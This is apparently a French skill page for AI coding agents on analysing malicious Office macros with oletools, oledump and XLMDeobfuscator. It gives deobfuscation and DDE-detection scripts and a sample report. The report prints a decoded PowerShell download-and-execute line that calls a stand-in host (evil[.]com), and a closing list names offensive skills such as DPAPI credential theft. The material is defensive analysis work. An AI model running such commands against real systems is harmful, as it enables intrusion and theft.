Communitygithub.com

Analyse des macros malveillantes dans les documents Office

Analyse les macros VBA malveillantes intégrées dans les documents Microsoft Office

Qu'est-ce que Analyse des macros malveillantes dans les documents Office ?

Cette compétence permet d'analyser en profondeur les macros VBA malveillantes dissimulées dans des documents Microsoft Office (Word, Excel, PowerPoint). Elle couvre l'extraction, la déséofuscation et l'analyse des macros VBA, mais aussi la détection de techniques avancées comme les macros Excel 4.0 (XLM), l'injection DDE ou le chargement de modèles distants. L'utilisateur suit un workflow structuré en 6 étapes : triage initial avec des outils comme `olevba` et `oledump.py`, extraction du code VBA, déséofuscation automatique via des scripts Python, analyse des macros XLM, vérification des vecteurs non-macro, et génération d'un rapport complet incluant les IOC et les règles YARA. Cette compétence s'appuie sur des outils spécialisés (oletools, XLMDeobfuscator, ViperMonkey) et recommande une VM isolée sans Office pour éviter toute exécution accidentelle. Elle est idéale pour les analystes en sécurité confrontés à des campagnes de phishing utilisant des documents Office piégés.

Compatible avec~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/analyzing-macro-malware-in-office-documents

Demander à votre IA préférée

Ouvre une nouvelle conversation avec cette compétence d'agent déjà préchargée.

Documentation

Que fait Analyse des macros malveillantes dans les documents Office ?

Quand l'utiliser

  • Un document Office suspect (.doc, .docm, .xls, .xlsm, .ppt) a été signalé par la sécurité email
  • Enquêter sur des campagnes de phishing qui distribuent des documents Office armés
  • Extraire le code macro VBA pour identifier l'URL de téléchargement du payload et la méthode d'exécution
  • Analyser le code VBA obfusqué pour comprendre la chaîne d'attaque complète
  • Déterminer si un document utilise DDE, ActiveX ou l'injection de modèle distant au lieu de macros

Ne pas utiliser pour analyser les menaces Office non-macro (DDE, injection de modèle distant) ; bien que cette compétence couvre la détection de celles-ci, une analyse spécialisée peut être nécessaire.

Prérequis

  • Python 3.8+ avec oletools installé (pip install oletools)
  • oledump.py de Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/)
  • VM d'analyse isolée sans Microsoft Office installé (empêche l'exécution accidentelle)
  • XLMDeobfuscator pour l'analyse des macros Excel 4.0 (pip install xlmdeobfuscator)
  • LibreOffice pour le rendu sécurisé des documents (n'exécute pas les macros VBA par défaut)

Workflow

Étape 1 : Triage initial du document

Déterminer si le document contient des macros ou d'autre contenu actif :

# Triage rapide avec olevba
olevba suspect.docm

# Vérifier les flux OLE et les macros
oleid suspect.docm

# Indicateurs de sortie :
# VBA Macros :        True/False
# XLM Macros :        True/False
# External Relationships : True/False (modèle distant)
# ObjectPool :        True/False (objets intégrés)
# Flash :             True/False (objets SWF)

# Analyse OLE complète
oledump.py suspect.docm

# Lister tous les flux OLE avec indicateurs de macro
# Les flux marqués 'M' contiennent des macros VBA
# Les flux marqués 'm' contiennent des attributs de macro

Étape 2 : Extraire et analyser le code VBA

Extraire le code source complet de la macro VBA :

# Extraire VBA avec déséobfuscation complète
olevba --decode --deobf suspect.docm

# Extraire uniquement le code source VBA
olevba --code suspect.docm > extracted_vba.txt

# Extraction détaillée avec oledump
oledump.py -s 8 -v suspect.docm  # Flux 8 (ajuster selon la liste des flux)

# Extraire tous les flux de macros
oledump.py -p plugin_vba_dco suspect.docm
Éléments VBA clés à identifier :
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Déclencheurs d'auto-exécution :
  - Auto_Open / AutoOpen (Word)
  - Auto_Close / AutoClose
  - Document_Open / Document_Close
  - Workbook_Open (Excel)
  - AutoExec

Fonctions suspectes :
  - Shell() / Shell.Application
  - WScript.Shell.Run / Exec
  - CreateObject("WScript.Shell")
  - Exécution PowerShell
  - URLDownloadToFile
  - MSXML2.XMLHTTP (requêtes HTTP)
  - ADODB.Stream (écriture de fichiers)
  - Environ() (variables d'environnement)
  - CallByName (appels de méthodes indirects)

Étape 3 : Déséobfusquer le code VBA

Supprimer les couches d'obfuscation pour révéler le payload :

# Techniques de déséobfuscation VBA
import re

def deobfuscate_vba(code):
    # 1. Résoudre les appels Chr() : Chr(104) & Chr(116) -> "ht"
    def resolve_chr(match):
        try:
            return chr(int(match.group(1)))
        except:
            return match.group(0)
    code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)

    # 2. Supprimer la concaténation de chaînes : "htt" & "p://" -> "http://"
    code = re.sub(r'"\s*&\s*"', '', code)

    # 3. Résoudre les appels ChrW : ChrW(104)
    code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)

    # 4. Résoudre StrReverse : StrReverse("exe.daolnwod") -> "download.exe"
    def resolve_reverse(match):
        return '"' + match.group(1)[::-1] + '"'
    code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)

    # 5. Supprimer l'obfuscation Mid$/Left$/Right$ (complexe, marquer pour examen manuel)

    # 6. Résoudre Replace() : Replace("Powxershxell", "x", "")
    def resolve_replace(match):
        original = match.group(1)
        find = match.group(2)
        replace_with = match.group(3)
        return '"' + original.replace(find, replace_with) + '"'
    code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)

    return code

with open("extracted_vba.txt") as f:
    vba_code = f.read()

deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)

Étape 4 : Analyser les macros Excel 4.0 (XLM)

Traiter les macros Excel héritées qui contournent la détection VBA :

# Détecter les macros XLM
olevba --xlm suspect.xlsm

# Déséobfusquer les macros XLM
xlmdeobfuscator -f suspect.xlsm

# Analyse XLM manuelle avec oledump
oledump.py suspect.xlsm -p plugin_biff.py

# Fonctions de macro XLM (Excel 4.0) à surveiller :
# EXEC()       - Exécuter une commande shell
# CALL()       - Appeler une fonction DLL
# REGISTER()   - Enregistrer une fonction DLL
# URLDownloadToFileA - Télécharger un fichier
# ALERT()      - Afficher un message (ingénierie sociale)
# HALT()       - Arrêter l'exécution
# GOTO()       - Contrôle de flux
# IF()         - Exécution conditionnelle

Étape 5 : Vérifier les vecteurs d'attaque non-macro

Examiner le document pour DDE, modèles distants et objets intégrés :

# Vérifier DDE (Dynamic Data Exchange)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re

z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if name.endswith('.xml') or name.endswith('.rels'):
        content = z.read(name).decode('utf-8', errors='ignore')
        # Codes de champ DDE
        if 'DDEAUTO' in content or 'DDE ' in content:
            print(f'[!] DDE trouvé dans {name}')
            dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
            for m in dde_match:
                print(f'    Commande : {m}')
        # Modèle distant
        if 'attachedTemplate' in content or 'Target=' in content:
            urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
            for url in urls:
                print(f'[!] URL du modèle distant : {url}')
"

# Vérifier les objets OLE intégrés
oledump.py -p plugin_msg.py suspect.docm

# Vérifier les relations pour les références externes
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if '.rels' in name:
        content = z.read(name).decode('utf-8', errors='ignore')
        if 'http' in content.lower() or 'ftp' in content.lower():
            print(f'Référence externe dans {name} :')
            import re
            urls = re.findall(r'Target=\"([^\"]+)\"', content)
            for url in urls:
                print(f'  {url}')
"

Étape 6 : Générer le rapport d'analyse

Documenter l'analyse complète du malware macro :

Le rapport doit inclure :
- Métadonnées du document (auteur, date de création, date de modification)
- Présence et type de macro (VBA, XLM, DDE, modèle distant)
- Déclencheur d'auto-exécution identifié
- Code source VBA déséobfusqué (fonctions clés)
- URL(s) de téléchargement pour les payloads de deuxième étape
- Méthode d'exécution (Shell, WScript, PowerShell, objet COM)
- Description du leurre d'ingénierie sociale
- IOC extraits (URL, domaines, IP, hachages de fichiers)
- Règle YARA pour le modèle de document spécifique

Concepts clés

TermeDéfinition
Macro VBACode Visual Basic for Applications intégré dans les documents Office pouvant interagir avec le système d'exploitation, télécharger des fichiers et exécuter des commandes
Auto_OpenProcédure événementielle VBA qui s'exécute automatiquement à l'ouverture d'un document Word, principal déclencheur des malwares macro
OLE (Object Linking and Embedding)Format de document composé Microsoft ; les documents Office sont des conteneurs OLE avec des flux pouvant contenir des macros et des objets
DDE (Dynamic Data Exchange)Mécanisme IPC Windows hérité abusé dans les documents pour exécuter des commandes sans macros ; déclenché par les mises à jour de code de champ
Injection de modèle distantAttaque chargeant un modèle contenant des macros depuis une URL distante à l'ouverture du document, contournant la détection initiale de macro
Macros XLM (Excel 4.0)Langage de macro Excel hérité antérieur à VBA ; stocké dans des feuilles cachées souvent ignoré par les outils d'analyse VBA traditionnels
Protected ViewBac à sable Office qui empêche l'exécution de macros jusqu'à ce que l'utilisateur clique sur "Activer le contenu" ; l'ingénierie sociale cible cette barrière

Outils et systèmes

  • oletools (olevba) : Boîte à outils Python pour analyser les fichiers OLE, extraire les macros VBA et détecter les mots-clés suspects et les IOC
  • oledump.py : Outil de Didier Stevens pour analyser les flux OLE avec prise en charge des plugins pour la décompression et l'extraction VBA
  • XLMDeobfuscator : Outil spécialement conçu pour déséobfusquer les formules de macros Excel 4.0 (XLM)
  • ViperMonkey : Moteur d'émulation VBA qui exécute les macros VBA dans un environnement sandboxé pour observer le comportement
  • YARA : Correspondance de motifs pour la détection de malwares basés sur les documents utilisant des motifs de chaînes VBA et des indicateurs de structure OLE

Scénarios courants

Scénario : Analyse d'un document de phishing avec macros VBA obfusquées

Contexte : Plusieurs employés ont reçu un email avec un fichier .docm joint prétendant être une facture. Le document invite les utilisateurs à "Activer le contenu" pour voir l'intégralité du document.

Approche :

  1. Exécuter oleid pour confirmer la présence de macros VBA et identifier les déclencheurs d'auto-exécution
  2. Extraire le code VBA avec olevba --decode --deobf pour une première déséobfuscation
  3. Identifier le point d'entrée d'auto-exécution (Auto_Open ou Document_Open)
  4. Tracer le flux d'exécution depuis le point d'entrée à travers les fonctions auxiliaires
  5. Déséobfusquer la concaténation de chaînes et l'encodage Chr() pour révéler l'URL de téléchargement
  6. Identifier la méthode de téléchargement (WScript.Shell, MSXML2.XMLHTTP, PowerShell)
  7. Extraire tous les IOC et créer des règles YARA pour le motif d'obfuscation spécifique

Pièges à éviter :

  • Ouvrir le document dans Microsoft Office pour une "analyse rapide" au lieu d'utiliser des outils en ligne de commande
  • Ignorer le code VBA stocké dans les UserForms (les éléments d'interface graphique peuvent contenir du code dans leurs gestionnaires d'événements)
  • Négliger les métadonnées du document qui peuvent contenir des empreintes de l'attaquant (nom d'auteur, nom de modèle)
  • Ne pas vérifier la présence à la fois de macros VBA et XLM dans le même document (certains malwares utilisent les deux)

Format de sortie

ANALYSE DE MALWARE MACRO OFFICE
================================
Document :         invoice_q3_2025.docm
SHA-256 :          e3b0c44298fc1c149afbf4c8996fb924...
Type de fichier :  Document Microsoft Word (OOXML avec macros)
Auteur :           Administrator
Date de création : 2025-09-10 14:23:00

ANALYSE MACRO
Type :             Macro VBA
Déclencheur :      AutoOpen()
Flux :             3 flux VBA (ThisDocument, Module1, Module2)

CHAÎNE D'EXÉCUTION DÉSOBFUSQUÉE
1. AutoOpen() -> Appelle Module1.RunPayload()
2. RunPayload() construit la chaîne de commande via concaténation Chr()
3. Commande : powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Décodé : IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')

LEURRE D'INGÉNIERIE SOCIALE
- Le document affiche une fausse image "Document protégé"
- Il invite l'utilisateur à "Activer le contenu" pour voir le document
- Le contenu est flouté/caché jusqu'à l'exécution des macros

IOC EXTRAITS
URL de téléchargement : hxxp://evil[.]com/payload.ps1
Domaine C2 :          evil[.]com
Adresse IP :          185.220.101[.]42
User-Agent :          PowerShell (WebClient par défaut)

MITRE ATT&CK
T1566.001  Phishing : Pièce jointe de spearphishing
T1204.002  Exécution utilisateur : Fichier malveillant
T1059.001  Interpréteur de commandes et de scripts : PowerShell
T1059.005  Interpréteur de commandes et de scripts : Visual Basic

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Skills associés